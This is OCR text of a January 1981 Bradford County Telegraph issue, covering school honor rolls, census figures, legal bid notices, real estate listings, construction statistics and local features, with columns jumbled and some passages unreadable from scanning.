Lennon and Susan of .. out ranked only by the sparsely settled ceeded the bureau's projection Shilynn Chaff, Jackie Nguyen. Maria Navalany. I ,.._.... "!'< f_ r . the 1979. The projection western states of Aiuona 52.9 percent for 18,672 1985 by is 21,300 year, but at the present Thomas, Gregory Wiggins, Leslie Scholastic Achievement Marsenna Brantley pictured above, Is the only Bradford :Middle School stu- and Nevada 63.8 percent growth rate this figure will be topped Wood. Chuck Coburn Rex Bailes Tonya Mitchell. Jimmy Brookins, deut to receive straight A's for the second six-w eek*,grading( period.J Wyoming was just behind Florida long before tha time. David Burns, Bradford Green andMichael Willie Wright, Edith Giddens, Valarie with 41 1 percent. Grey. Randolph, Richelle Stowe Zina Mc- Florida is now the seventh most L.M. Gaines. county: zoning director Cullough and Valarie Jenkins. requirements for promotion which port unities this school term to meet populous state in the nation and will said that the Census Bureau's at- I. Scholastic: Achievement came to 76.7%. In October of 1979 216 the necessary requirements. All pick up three additional seats in Con tention had been called to several Vicki Crockrell and Wendy Hsieh. out of 302 8th graders met School students and parents will be notified gress as a result of the 1980 returns. areas of the county: where undercounts 7th Grade Dates to Remember: Board requirements for promotion January 12. California, whose growth rate was only seemed apparent. Gaines sawa A Honor Roll Eighth grade State AssessmentTest which came to '71.6%. So in com- The next PTO function will be the 17.7 percent, will gain two seats. It possibility that final official totals Marsenna BrantleyAB results will be sent home on Mon- parison, 5.1% more 8th graders pass- Feb. 14 dance in the BMS gym at 7 is still the most populous state with a might reflect Increases up to 15 percent day, January 12 The results were ed the Oct. 1980 testing than did in p.m. Dress will be Sunday best. 1980 count of 23,310,372 residents. over the preliminary figures. Honor Roll very positive this year. Mr. McKin- Oct. of 1979. Please realize that the The (faculty and staff at BMS would Amy Jo Carter Karen Martin, ney reports on the 1980 scores that 207 23.3% who did not meet requirementson like to extend to you and yours a very Sharon Martin. Donna Parado, out of 270 students met School Board the SAT test will be given many op- Happy New Year! !' ! IINtV .I - I rsa IflUW 1ROUPt. . i I Ipp = : :==- - ..- ;L" _-.;"..;w.-.. ,..,. . ( - - wi _ A i_ 1 l . 1 a oa ''lY \ / 1 7U J / .; .' ;. ;.. . ., / -, .M .t"1 . : r as S i V \ ul 4 - ; bow. ss 1 .+.....-.- wr / "- ''t \ \ t I i., 1e ,V' 1 .' ' e e i ' . ' t ar 4 .4. $ : " r Ct c:::::> .'.'1 .. '1111 1? tl 101i , In (. ' Our 1 n ''L'ltlu.'o. yrnon ,c ...tu t)l.t d sbtsol l 9i v tcbewI "' bn -ob to tl ,.: t1tlu'nJi.! 6s.hN: .C o.n Printing Department. . :!: I \ ., -. - : Camera Ready Copy We Can"Print Your , . I |,080 Copies i 8r/ X 11 Camera: Ready Copy On . Iit : .'7 Colored Paper At A , : ; tReasonablePrice srt_A.r _. . $1580 7" ' I .. jiff .:y m *** < nufn :' KrJjt -,i 'K..UL Y.I ... .,-'.-... -- '.. . yl: .time :)! .\I lit >C..\.J, r " . Camera Ready CopyYln 3 Days Or'Less.. ; 0- ; ,. ." . .. ..:: ... (Copy that's typewritten or previously printed.) .".:; ',<.: .. : .' ". \\ .. :. :.: I t< } 'It :. ' I",. i f: )I .J .t, .t" .} Than >Machines. : b. '. ' ; .k 40 . , . ', ' qAAJ"I, 8 rt 1I'j' " 'ijiJWNIJ 1 1 << {' - :' " , : : : fw " i \ ( .D 1 1 :' .. .. , " ',. ,. ..,\. I'' ."N' (, .. fo'...., .:, .. ; : : ; .i .. ... .. :; r e"i ":811 11 8'/2i14 ,.<" '''''"'''nt- : ,, ,. . ; ,I ': "'..( ,'. > i l' < : ; .." .. .... ., ,. . , 50 Copies !' .' 5.10.. 50 Copies *5.V5100 -' ?, ... : -'" ' \ 100 Copies 5.70 Copies '5.85'-' ,, : ;:. ., I, 'f. , " S qr ' 200 Copies *6.85 2OO Copies S *7.15 ; : .t : .. . _. : 300 Copies' '8:05: 300 Copies s8.40.. v' S .. .. 400 9.15 400 Copies! ...$9,95 ... i Copies : I To local friends . our many . ," 500 Copies 10.90: 10.25 ; ,. . who make it possible 500 Copies ./ I":'"' 1,000/Copies: M7.90 :.. .j" .:. I 1:1:! for us to have very ., , '" " " .1. / "'\\I" '" : > 'f successful year we send regardsand I .. ", best wishes for 1981. ' Professional '.. : ' . Printers 'I. r! ,. ACME HARDWARE' .r ; . r I";), ", .'''L 1 r BUILDING SUPPLIES ; ." 1 ' i I I II I 301 E. CALL ST. L. -- .' .. -.'- ........-.,- .-. .-- ---_. -"'...., -;, --- .. _. <. -- = : -. u' ... .-.. J b. L J .. 1 4... 4... F "nr"i .. .. L l 'T .. J If J 1 . '" ; 1 : , ,, 'f 1, , January 1. mi TELEGRAPH Page 13* , I . INVITATION on a solvent"' national or I _e I.EGA1S 0 1 U IIIDDi.S state bank: or a Bid. )Bond W AR In the form .- Notice ,is >:reby given provided In that the City of Stark.. the Contract Documents, "APlVN ADVERTISEMIP1: : FORBIDS: executed by the Bidder I 10. Florida will receive' DEPARTMENT/ Section 215 of the Federal Water Pollution Control OF GENERAL SERVICES and a qualified DIVISION OF JLas amended by Section 39 of the Clean Water Act of sealed bids In the City surety BUILDING the CONSTRUCTION Chambers payable to City of Council , AND PROPERTY MANAGEMENT I97 (Public Low 92-217) which requires that' preference City Stork., Florida. -- Starke Florida Hall b. given to the use of domestic construction materialsBuy -- . PROJECT: Improvements to the Sewage 32091 at 7:00 The Owner reservesthe System, ( American). p.m. an FSPIUCI Campl.lC. Stark. Florida which comprises an of. the 16th day of January right to require the e luont pump notion, Fore Main. Holding Pond Overland thu regulations relating to Items 1-10 are contained in 1981 for the Construction successful Bidder to file' detail In the SUPPLEMENTARY GENERAL CONDITIONS of proof of his ability to Flow Field. .Iec.rlcal..rvlc.. piping and of the Streets and The appurtenances. ,the Contract Documents for this Project. properly finance and execute < FOR: Department of General Servlcai. Drainage Improvements. QUALIFICATION: All bidders mu.t submit Then all bids will, be the project, a uollflco- Hove seised and have pr NOTICE OF together with his record opened read : tlon data of their eligibility to submit proposals five In the publicly ((5)) INTENTIONTO my possession aloud and recorded. of successful completion I calendar dart prior to the bid opening dot If not REGISTER following/ described personal above of similar projects. The 1. The construction previously Qualified by the Division for the to-wlt: . fiscal property current FICTITIOUS Owner reserves the right located ; will be In the year (July 1 thru June 30)). NAME On. (I) 1979 Ford Northeast of the City to waive informalities in ; ; area Sealed bids will bo received publicly! opened and read Pickup truck I.D. No. of Stark, Flarldo.an" bid and to reject any aloud on: Pursuant to Section F10GNEA6254 This project consists of or all bids, or to reodver i DATE AND TIME: January. 20. 1981, until 2:00: P.M. 863.09 Florida Statutss.notice As the property of the the construction of approximately tls*. Award will be mod, ES.T. Is hereby given above named defendantand 1500 feet of to the lowest r..ponllbl.I PLACE: Conference Room Florida Slot Prison that the undersigned that on Monday the new pavement and 6550 Bidder. Th. successful PROPOSAL: Bid must be submitted In full In accordance .- SARAH CLEONE 19th day of January, square feet of resurfacing Bidder to whom the Con' with the requirements of the drawings, epeclflco- REAGAN. Rt. 3. Box 1981 at one, o'clock on one ditch crossing tract has been awarded sold day an the premisesof lions bidding and contractual condition which may b. I 1543, Starke, Fl. 3201. the Bradford County The City reserves the shall sign the ContractAgreement examined and obtained from the: sole owner doing Jail I will offer for sal right to award a contract Performance Bond and ARCHITECT/ENGINEER: William M. butiness, THE or to re-advertise, Payment Bishop Consulting as and sell to the highest 1 Bond and other Engineers, Inc., Post Office Box 3407. Tallahassee, DREAMER Rt. 3, Box bidder far cash in hand, whichever may be In Its certificates required in- Florida 32303TELEPHOMEi. 1543 Stark, Fl. 32091, the above described best Interest. property sextuptlcoted and return ('04)) 2220334. Appropriation Np. Intends to register sold of told defendantto This project Is to be the signed documents fictitious under the financed totally by a DC7877./7W7.. name the aforesaid satisfy withinten(10)doysafterDepartment ( ) Federal from the ' CONTRACT AWARD: The contract will/ be awarded by provisions of aforesaid Execution grant of the date of their receipt. the Executive) Director Department of General Services. itatute. Dolph E. Reddish, Urban Development Housingand Plans, Specifications, D.c. 10, 98O/'Publlcation Dot. (FAW). Dated this 3rd day of Sheriff Bradford County and other Contract and shall' be referred DEPOSIT: 910009 per set of drawings and specifications December A.D. 1980 In Florida. 12/25 4tchg as HUD Prefect No.to Documents 'ore on file In friendship and in good health, may the days ahead Is required with a limit of two ((2)) sets per G.n.ral Starke, Fl. 12/11 4tpd 1/19. B.80.DN-12.0316. and may be examined at bring to you and yours a world of peace Contractor or Prim. Bidder. One half (S50/S25)) of the 11ei The Bid Proposal' shall the office of the City and abundant happiness. : It 'hall ----ly h''' returned to thgs.General Contractors IN THE CIRCUIT COOS r NOTICE OF be made In triplicate on Clerk, Starke, Florida, or Prime Bidders who alter having examined the OF THE EIGHTH JUDICIAL INTENTIONTO a Proposal form furnishand at the office of Bos- drawings ond specifications,: CIRCUIT IN AND FOR REGISTER ed by the Owner, and sent, Hammack 4 'a. submits a bona fide request for qualification and BRADFORD COUNTY FICTITIOUS submitted to the City of Ruckman Inc., Consulting . fells to qualify, or FLORIDA. NAME Starke, Florida In a leal- and Designed . '1:1.: submits a bona fide bid, CIVIL ACTION envelope marked Engineers. 2000 Corporate Case No. 80-507CA. Pursuant to Section '"Proposal for CDBG FY Square and returns the drawing. and specifications In good condition Alligator Creek RanchFeed B65.09 Florida Statutes Boulevard Jacksonville, In re.: The of 80 Program". wilhln f fifteen (15)) days of the dot. of receipt of Marriage notice Is Florida, 32216. Plans and bids. SAMMY LEO SMITH, Husband hereby giventhat Proposals shall bedelivered VS PATRICIA JEAN the undersigned' to City Hall Specifications may be & Farm Supplies & Vita Ferm Full of b. Supplement or partial sets drawings may purchased by SMITH Wile. BOB J. ANTON JR.. Starke, Florida. 32091 purchased from Besient payment of (tie printing and handling cost at the rate of VicepresidentGainesville either Hammock A Ruckman by "350.00 a let, or $2.00 p.r plan .h.... Specifications maybe NOTICEOF SUIT- Scrap Iron & of the a Bidder representative who Inc., for' the sum of South 301 Starke, Fla. 964-6973 purchased by payment of $50.00 per complete NO PROPERTYTO Metal Co., a Florida core shall obtain a receipt $30.00 per set, "on- specification. : SAMMY LEO SMITH poration sole owner therefore,.' or by refundable. BID PROTEST: Bid protesters must be filed.with) the Executive Address, c/o Safeguard] doing business as BRAD registered mall with City Council of the City Dlrec.or. Department of General Services, within ,Factory. Toppohannock, FORD RECYCLING 452 return receipt re of Starke, Florida. ' seventy two ((72) hours of bid opening. Virginia, North Temple Ave., quested. Itthg I/I. CONTRACT AWARD: The Contract will be awarded by YOU ARE HEREBY Stark. Fl.32091. Intends The proposal shall be the Executive Director' Deportment General Services. NOTIFIED that on action to register sold fictitious accompanied by bid CFaasi ,- Each BID must be accompanied by a BID BOND payableto for Dissolution of mar name under the provisions security in "an. amount f 1 d "A tight of happiness li happineu." Thomas Traharna the OWNER for five percent of the total amount of the riag has been filed of aforesaid not lest than five percent BID. As soon o. the Bid prices have been compared the against you Sammy Leo statute. ((5%) of the bid amount. Ada. OWNER will return the BONDS of all except the three Smith and you or. required Dated this 11th day of Sold security shall be In lowest reiponilble BIDDERS. When the Agreement Is executed to serve a copy of December A.D. 1980 In the form of a certified Get Result . Gainesville Fl. 1/1 4tpd check cashier's' check written defenses If or your , the BONDS of the two remaining unsuccessful _ BIDDERS will be returned. The BID BOND of the successful :any to it. on the plain.tiff's 1/22. M _ BIDDER will be retained until the Labor and Material Pay attorney whosenome RUBBER STAMPS , and) address ment Bond and Performance BOND have been executed li George H.Pierce, Pierce and approved after which It will be returned.A certified t Hardy, P.A. P.O. check may be used In lieu of a BID BOND. Made-to-Order Drawer 1030) Starke, This project| la to bef Inanced In part by EPA Prefect No. Florida 32O91. and file , C-120739O10. Neither the United States nor any of itt the original with the Notary Seals *ID Badges Magnetic Signs Departments, Agencies or employees are or will be a clsrk of the above styled party to ttiii Invitation for bids or any resulting contract. court on or before Bidders on this work will be required to comply with: January 26. 1931 otherwise X-Stamper Door & Desk Name Plates 1. The Civil Bight Act of 1964 as amended, and Executive a Judgment may be t Order 1 1246, and 11375, as amended which prohibit entered against you for v discrimination based on race, color religion sex 01 the relief demanded In national origin and require contractors and subcontrac he complaint or petition. OFFICE SHOP Bradford The County tort on Federally assisted construction projects to take of . firmotlve action to employ women and minorities! and additional WITNESS my hand and regulations published in 41 CFR 60-.., in the April the teal 1 of this Court on Telegraph 110 W. Call St Starke Fla 964.6764 7, 1978 FederalRegister.. Vol. 43. No. 68 to 'further Inv December 19. 1980." -- .. .. . ... . - ;.... Gilbert S Br2 c.N'of :';: CUtx&seod 4n- ; .r xVM1" \ Send *9.00? todayI S -......u. ,p-4 .w- S* .- i :.w .r. ' plement Title V|o.llh.( Civil vVlflf,I964.as am*.ded. ' ....." the Cc urti'; y: -I and Executive Order 1246, as. amended. .... Beulah Moody as Deputy -.. ,,, 2. Executive Order 11375. Clerk. 5:. Dr. Lounette Eaton, B.S., D.C. 3. The Davfs-Bacon Act. 2/2S4tchg: 1115.NOTICE r, 4. The Anti.Kickback Act. NAME 1. Dr. Wayne C. Eaton D.C. 5. The Contract Work Hours Standard Act. ' . OFSHERIFF'S ./ , 6. Append C-2 and Sections of 35.938:: and 35.939 ADDRESS ' from the Wednesday. September 27. 1978. Federal Nonce Is hereby SALE given i i' P Keystone Chiropractic ClinicAt Register dealing with procurement construction. contracts that I I. Dolph E. Reddish CITY_ STATE; ZIP , of grantee, and protest. as sheriff of Bradford ' 7. Federal Wage ,Rates as applicable to this Project. County. Florida under SR-21 North Wage Rate Decision received five ((5)) days or more prior! and by virtue of Writ of cost on News stand ' to the date lor receipt ol Bids shall be added by addendum -"t -'Execution, to-wit: 11 year at.25 per weekJ) 13.00 Keystone Shops Suite 5 .nd Decision received subsequent to that date shall Execution Issued out ' be added change" order to the contract. of County Court of Duval Special SAVE..Save..Save 4.00 send TO: "; :: ;: Phone 473-3604 8. Bidders must certify that they do not, and will not. County.,Florida pursuant ...... -1' maintain] provide for their employees' and facilities that to a Final Judgement for ,K t Hours9 a.m. p.m. p.m. are segregated' n a basis of race, color. ,creed sex or notional Aetna Finance Companyand Cost to you ..... 8.00.Brad Testy eg 'ai6 1 Hwinv' / Brooks against a/k/a William William R. -P. .'IWJW1W .A Mon., Tues. Wed.. & Fri. . with thti policy for Increased ) 9. B d .rt must comply . 01' consultants and construction con.ractor.a. Ray Brooks, defendant,' in Bradford county Stal1ce, florida 3209 1 use inorlty Federal in the amount of send 10.0O for Out of .' 9 a.m.-l p.m. Thursdays detReglsti bed In the Tuesday. December. 26. 1978 2871.40 together with ATTN: Clrcula Vol. 43. No. 248. ; County subscription Facilities > costs, of collection. Modern X-Ray Physical Therapy -- -- - - I --lJ- O'ti_ :; .. 1 q RtAL \ . I : V . .J.. .' ", L "'---- J. Robertsm2I.RealEstale I ,FRULKNER' m .. , . r REALTY d"J I= DB-I-SOBSMMTO J ESTA-T'E Eaip'h . 98e N. 'Temple .; 41 Lt.. I ( is unregistered 964-7828 ? s' :JJl LofoyetteSt. /A Js4st4 I'I. REALTOR - Apartment" for Rent collective PHILIP W. CLARK, REALTOR CSOtCI! ROIERTS-Scalier Office Space For Rent membership mark STARKE. FLORIDA f ' only' ASSOCIATES I n9Ji'YHelfdoy which may be used Office Weekend end evening Cell OreoMnai To Alff, Bryan Real Estate3iow.co.fsf. real estate professionals Richard Roberts-'44.55l5 Ann Godwin,*..W, .3 M, I lath frame. In town 1StOO. by who are 964-5231 !Patsy Silcox 4-e579 Norman Heddlng 9 44StieflJehn .Greet location.Hwy 301 South.: Oy.400' frontage.3BR 'm of the NA - ..Smith 94-e217 1BA House for rent > (Cor. US 301 A Call St.) members : .d&1..1. Sa/er. 12 :; op .air./ HOMES-STARK! 2BR II. frame I lis/l: .U.11'm.$I.OOO down.. I..I. :! TIONALASSOCIATIONOF 33P, 'IS. frrn. garage. Wai Off lot-Collln. PLpram. .3 BR 2 Bo, C/. hou .:very large. outside building*. .... 964-8783. ANYTIME REALTORS and lust Out 7 acres In lawter. Plenty of trees $15.500. : --- strict I a lots with worehoute-Walnut' St., sent Rd. r MONDAY-fKIDAY 9-3 SATURDAY subscribe to its 12 rton-e on p.m. A Place to .build dream ho.,... 5 ecres In Special your -211,11, Block Fenced '2S Plneweed Dr. el BR 1'/ ... C/. house, large let Orange Street. Must and Code of Ethics. tvenlngt Sundays by appointment the L.....' area 17500. 1V4B. Hack nice 1320 Searing. St. see. ,, Rat neat-Prott St. -2 or BR 1 Bo, Laura St. garden spot, house completelyremodeled. ph f. Bryan, REALTOR I-Frame home, 3BRIB, cleen 3 Waterfront BOO feet en .beautiful Crosby. lake e.- I- - : -Frame home, good location. 2.R.II..FIt Place.' i- WATIftFRONT SAMPSON LAKES 4 B2 Both24M I " large frame home Ig. yon(. 9 Flrepleces-S. Water *f. -J Bit 2 Be, Control H/A', largo porch re-room. on I acre s DW Mobile Homo CrMA .< Kitchen ApolIonc$27.7oo. Calient view $14.700 I-4 BR, '.. large, screened. re*. reem-Searlng. St. la City. 47,000-Reduced. FIORUAN&Phone Prko Is Right, for this 3 bedroom" both home. Central I .J Bit I BJa;lergo ....utlfullot Green Acre. Terms.J .. I , I HOMES I I3I1R. GRAHAM ROAD2 -.ro on 2 Acre L.I3 heel I a'r.' Newly remodeled kitchen with new appliances. OUT-Of-TOWN story Fulch house, nest to Pie Past Control, can .bo 27000. 11Phon.944.7700 $29,500. ,- IB, frm. 21 eeres. S-cor garage-M.l. Sterling. Hd.4BR. I II. home, or some type commercial, nice .... lot. I.. frame, 'targe let Lobe Butler. IXCIUINT NEIGHBORHOOD-3 BR. 2 .. Block I Mong Dairy Road M acres with well B septic tank with 225' .beautiful I. Cottage frontege'o. lied Creek. 393 N.Tempi Avenue ' ,3BR. I.. Stucco, Large Lot.-SR1001. ': Mlddleburg. '.11I. a", CHaA'Gor.... Neat $31.000. $1.334.00 per .. 3BR. 2B, Stucco Fireplace 301 South. Reduced -B PECAN TREES ON THIS I ACR1-with 3 ...2... .1 acre-Will LIASI with Satisfaction Is what you'll get everytlme you cook In '!large lot mobile. homes-Sempwa lake Ud. .1 acre with 3 BR. 1 Be, Green hov... Wilson. Rd-22.000. Modern brick ho_ .III. Rm. PP-o.ro 4900. tank this newly remodeled kitchen. Plenty of cabinets and a ....a..U'.I.It,2... brick,op*. 10A- *' L.wfey. option to buy septic breakfast bar coma In this 2 bedroom 1 both home. -30V4 acres with nice 4 BR 1% both brick Slack ..IA. ? WW. very veneerhome 2Vt ei-$5.000r I ecret-S*.000-10% _wn-I yrs wall I "light ..... ,Double .0,..., 2'1.1'1C .variety .. fruit A nut trees, good pasture. 2 smallburnt. 10%.. S2S.BOO. .Brick I.., 21. '.ra..... .... 1'AA.4:-%SR* -1001.*' '" ... .3 ecres uP-$ ,OOO.... A.-12% down. 10 yes.9'A -In country forgo. frame 3 bedroom< 2 .bath homo, equipped kitchen central host ,'Frame S BR, II. lgeatbidg..epx.. 1OA..OH" ..yl... HryJ -IIS a IIS Lot Westmoreland St.. nice trees.Beawtlf ". homo, with acre ef land. air 44500. ,New Cypre.e 110"'.. 36 .la. ,ul 29%acre with" 4* . trees, 11.2. l Leke A..PI. pecan elO acres graded read $''.100 with terms. ..2B, IB, L.. M., kltcfien-elnlng-Cnfttol. Clllit ..... tic tenki. 2 fl.h ponds, fenced crass fenced, nlco .10.11 acres on US ttl-20,30: good __.. .From home, with 10 3 bedroom FP.1.1. 2.. Brick-Country pasture .re... Term, ee..... Sent hone tails, nlco lot 29100. Large .pp,.... SA.. 3M. 2B S.U. 1001. .Apartment.beauty shop a .berber shop .building. for sale, Old homes . S.R. 1W1. homes, new forms end ac..... and many storage Associates Ivenlngs !3 '1. IB. IR, Dl. ep.. 1 acre let- or'cevld .be changed re another. business ' S.R.-III.ACRIAGI type near Hall- business and ,Industrial ...... '"'lIdl...... T.rryA.Geln.-7t24' KayC. Waters-944941lleea , .Brlck home. 32 acre 'i'' approx. day Inn. Terms.U. . O.Stanley-473-305 Petiy M.to wtan-94- 927 ; .' acres with 12 a *4 MM West of Starke. CALL US AT tiMWBi AMVTIMI DAY OR NtOHTI I .3 ..a_flOIMOt. with lake .7 acr...3 treller heek-.i>e Crosby Lobe Shore.. 'I sere with 12 a M MM.I .p.n perch I screen porch access, fir.pls..m.ll lake Let ..r isn p.on lake. built .... $11,800.00. ASSOOATE-APT2R HOURS ..... cettaga.N .,, ,. Approximately I ocret In lewtey A._. Property Management Services l lllltanC.Pearson. .. Vicki Powell 'B acres-Off JMM.A Appraisal ."' .'/ole.n& < Associate .0 targe homo, call .' acre Mobile Name lot Vrooelond/ Acre., Susan M.'aulkner-MALTOR-e4-" Office M..w. >, 9444I43f for details.Vemlo . e...utlfull. ....Country Club area. Irma 1.._1.11.... RIAUORASlOCIATIi4U2 4-. 3l( 1iquP Nice lot Country. duB ludlleCenn.Spry'SROKIR SALISMAN-9i4.1420 Sylvia. Reddish Nests Ward ,Ive.lr.g.s Please. all Odom. Broker Sandra W.Reddish. SALISMA..4II.UaJ..It.IIedcII..S"LlSMAN ,..ir/ BUSINESS AND INVISTMINTS Vant.Reddish BrokerSelesmaiiAtsocletos OM Phono 941474.Pearl . .'.000 .... ft. building. Wapprox., ecre.U.S.3. Me.....Roberta.944-BS04- I.120S 94474S4444AM Aadrewa 94-7739 Corner ef U.S.,301 South and Idwartfs. Reed . __ .. .l' -4 _ r. .... , J. ... . J., ---' ':- ;!,":" "r-- -C'-T.r:: :: .T'-Tr1.r.T.J: .'.''..'''.'' '';'''.' "- .. ..---... .-. J. , . -.......-.. ._..._--"It.", ... .... _.' ... _n..-'_. ... .'. .. .. .. .. ...-. .. .. 'f. .. .. .- .. ..-..- '"'. .... .. .. _- ., I' .. .. __ ;:t... '... ''-, ->. "' "-. "' -'- --'- 1Pt.! .- 4""i ,' " I " I I .. i I I \ I \ Page HA.THLE< PH January 1. 19Ir .-.. ........: .... .. ., WP_. -.. .. '"." : ; .__,f .........-.... . '-- .. 4' ? s tirt4. .._ . MAw -.........."'............ : New Construction Up in I98O, . -- ...., . ",.J '"I . I New construction in Bradford Coun- A new parsonage Is being built In dons in the Lawtey area include: .. : ty Incre8I3ed$557.419ver) 1979, according Lawtey' for the First Baptist Churchof Church of God and Christ and Victory 'r to figures released Monday,Dec. Lawtey amounting to$40,000. Other __, c--. .U. Temple Church of God east of .. .oJ ., . 2'), by the Bradford County Zoning churches in that area that have Lawtey. Department.Most received additions include Macedonia .. ...";.'fA. u "I.III.Ij.4.;; ...,.. ... .... '- ..,. of the Increase according to Freewill Baptist Church, $56,000; A new church in Lincoln City, officials) of that department, was due Grace Methodist Church $25,000. Mount Nebo Baptist Church, is being .. inflationary construction costs. to .. ," In 1980 figures show that $6,725,107 Other churches that have had addi constructed at a cost of$27,000. ., in construction has been handled through the county zoning depart ment. Last year the construction figure was $6,167,688.! W Both years the monthly average in- 1 cluded nine single family dwellingsand ,. thirteen mobile homes. w One of the big additions was the butane spliter of Florida Hydrocarbon company near Brooker that amounted to $350,000. The Salvation Army Complex located about nine miles south of Starke on CR-18 just off SR-100 in south Bradford County had four addi- tions to Its operation amounting to / $387,530. These include a$39,200 addi- tion to its hotel with a new laundryroom. $290.380( two story motel was 1 0a built on the property. An $8,450 am- as phitheater and $49.500 canteen were , other additions. built during. 1980 to this complex. The Lawtey' area received a -- number of additions including an $8,000 addition to the Lawtey Volunteer Fire Department north of I -w- Lawtey City Hall. That's a Rooster Jail e4I = It's not often you see a chicken flying by your lakefront well let Jeffrey tell the story: new f house being pulled behind a boat no less. "Well, first of all he was in the water swimming aroundso him roform !board and started pushinghim ( we put on a sty Amateur photographer David Ritch didn't miss the op- "Then I made around the water/ Jeffrey explained. a purtunity, snapping this picture with a telephoto lens. H.C. above with little surfboard for him (the board pictured a Brown, grandfather of David was kind enough! to bring us him aroundthe for ) and we started pulling the picture and tell us a bit of the story, the likes of which roofing shingle grip 1 r lake with an aluminum boat and a nine horsepower gas he's never seen in his 77 years. "That's ridiculous, Mr. _ It sort of our summer project. motor. was ) a Brown said as he laughed at tht1 picture. "And you know to watch "Jef- was coming out of their house , what it does when it falls off? Well what would you do? "Everyone remembered the "I ' frey continued, chuckling as he sight. "He swims back to the ski's that's what." had just got done making him a set of ski's when it turnedout The chicken, it turns out,was owned by 10-year-old( Rhonda the chicken was a rooster and he was starting to get Hipps of Jacksonville, whose family has a lake place. mad and growing spurs. That just about ended his career. i44\ This past summer Rhonda and 12-year-old Jeffrey Phillipsof "Now he's at a chicken farm doing what male chickensare Kingsley Lake were splashing around in the lake when... supposed to do." I Eiifrants Needed for Dream Girl PageantThe r'M A 1981 Dream Girl Pageant is set Junior Miss Dream Girl, ages prosperousNew Best wishes to all Jan.31 at the National Guard Armoryat 1115.Miss Year to 720 Edwards Road in Starke. Dream Girl ages 16-21. iv- our friends and Sponsor of the pageant this year is Talent Winner open to anyone.A friends old the Kiwanis Club. Mrs. Debra Nor- $25 entry fee is required. Con- lk4D Good wishes to all neighbors, Have a man is pageant coordinator. Assis- testants may have a sponsor or pay I our friends and and new.Olin's. Year. tant Director is Bill Wilson. the entry fee themselves. Sponsor'snames Happy New Entries are being accepted now. will be announced 'at the customers. Contact Mrs. Norman,Rt. 2, Box 2705, pageant.The/ t. ( .. - or phone Mrs.Joan Carter at 964-5165 talent portion of the pageant is or 782-3577 after 5 p.m. not required. It is open for anyone Drama Hurst'smace Applications may be picked' up at that (is interested. Time allowed is one to three minutes. . Norman's Produce or the Bradford County Telegraph.Age Rehearsal is set for Friday, Restaurant Divisions in the Dream Girl January 30, 1981 at 7:00 p.m. Each Pageant! are: contestant must be present for Starke Mobile Home Sales 24 HOUR WRECKER SERVICE* Tiny Dream Boy, ages 3-6. rehearsal. Tiny Dream Girlages 3-ft. Wanda & Everet Phillipsand Hwy 1QO W. 964-6606 210 a Tempte> Ave f Little Miss Dream Girl, ages 710.( i more Chamber from 3A Employees Open 7 days a week CARL HURST 964-6111 I The discussion developed after the Wood FueL.. Telegraph Reporter Andy Dennon questioned the chamber about attracting \ (From Page 1A) industry and about the number of i verted unit is actually placed on production members. Miller was then Invited to ' line. Earl Jones, president ot be guest speaker at the monthly ( A Crown! Lumber, said it would probably meeting of the Board of Governors. HAPPY flEW YEAR... be six months after the test "I doubt seriously the business people before the prototype unit is actuallyput of) Bradford County! want this Paul's Drive-In into productive use. (promotion to attract industry)," If the first unit! proves successfuland Judge Sanders reiterated near the a decision is made to convert the end of the discussion. Cleaners city's remaining six generators to "Well, Judge, maybe you should wood gasification, it will entail some ask some of them," Miller replied. 418 W. Call St. expansion and renovation work at the Maybe the chamber manager takes . plant, with the acquisition of additional things for granted. Wilson suggested. Starke 964-5498 ,.- , property for storage of wood Some 80 percent of Chamber chips, construction) of a conveyor belt members have served on the board of Pick Up Station " system, and other improvements.Robert governors, Wilson noted, and shouldbe Gurin, the city's consultant on familiar with the activities of the Calico Country Store ' the project, has estimated that the Chamber. complete conversion of the plant Wilson assured the governors) thatno Keystone Heights 1\t"\ : would run between $13-$18 million. chamber member or Bradford , The initial grant for conversion) of the County Development Authority 473-2325 prototype unit was for $327,000 and isbeing member is "anti-business." disbursed by the Solar Energy , Center, Atlanta, Ga.. designated as the representative Department on the of project.Energy's field \'l" r1//\ V VI' yt. President-elect! Ronald Reagan has announced his intention of abolishingthe fV""I.'j Department of Energy, but Gurin t' t 'I said funds! for converting the entire 4.4 i) .. r\ < lr Starke plant could possibly be obtained lt '" 4'.Ij', with low interest, government- guaranteed loans, supplemented by , grants from other sources. 1 J JI 1 1L f \ /0Ct'l 1l , .q. III r" f I . w ' I ... ". ( J - ? .. .--. giI :. li: a:. We hope 1981 will be a happy and prosperous' '. _ ; ., 1'' : :' ' ' .. ; .7' year For all of our many friends \." 'N-;_ ..' :. y . . I, Happj Newer : ', and good neighbors. ; f : .....' .' : 1 : We welcome th e New Year with deep l :" ; appreciation for many valued friendships <. " and< associations. Our very best wishes ; From the Employees' ! Best wishes toi everyone.Telephone! ; .. ''. and a great r . New Year, : of too. ; : COMMUNITYSTATE . Coy ofj CO., ' Smith Brothers (.' .1 qw, : " J ......J.. H ,. '.' : '. l I : > I Ii I . Body :Shop ,- ...<... "' dpI.'j. I.BANK \ \ \ ;; ,:. 'l 'V ifH- .Starke i, Ra ( . : . 301 North '! ? .< s 811 .s. walnut .St.; starke 9647830JIll' . ' Stacke, !I : . , --....-' ;...f'.l..., 't.iiI .. u u . - - - - ; 1: : \ r : i 11 1 -ol rrt/OIJI A , .i.1 ; ; ; .... ; .. . : .J, " the . SUPPLEMENT BRADFORD COUNTY TELEGRAPH, UNION .. '" .? The Union County B ..t. :: :: ?"" The Lake RegionMONITOR COUNTY TIMES AND LAKE REGION MONITOR ' section January Section 1.1981 ,, *( lDgr;;. p j 11 'TIM' IS I. j .. .., .. I' I I 1'I ANN. GODWIN IS ASSOCIATE REALTOR OF YEAR Y I I I: CeceJia Terwillegar ': 3tt ..B-U Realtor of Year : t srw "" ' Cecelia Terwillegar of Starke, wasStudied Business Administration Cos ton, Terry Gaines, Norman Hed- Starke Woman's Club. Realtor- Lillian Pearson, 1981 president, ' honored with "Realtor of the Year"and at Stetson University. Made her ding, Patsy Lawson Jerri Lennon( Associate pins were awarded to Anne gave a brief resume' of activities to V r- Ann Godwin of Starke,' social debut at Orlando Country Clttb. Sandra Reddish, Jimmy Reddish, Terwillegar Nelson and Norman Ifed-' be initiated this next year such as "Realtor-Associate of the Year" Dec. Member Bi Beta Phi Sorority, Junior Vernon Reddish, Rex Smith, John ding. Realtor-Associate Roundtable : 19. by their fellow( realtors and League, United Daughters Confederacy Smith Dora Whitehead. and Ann God- August: caravans, etc. associates and friends at the annual Chamber of Commerce and of Culmination Property Improve- Bradford-Union at the Starke Club Park. win.The Pearson presented a plaque to r banquet Continental, 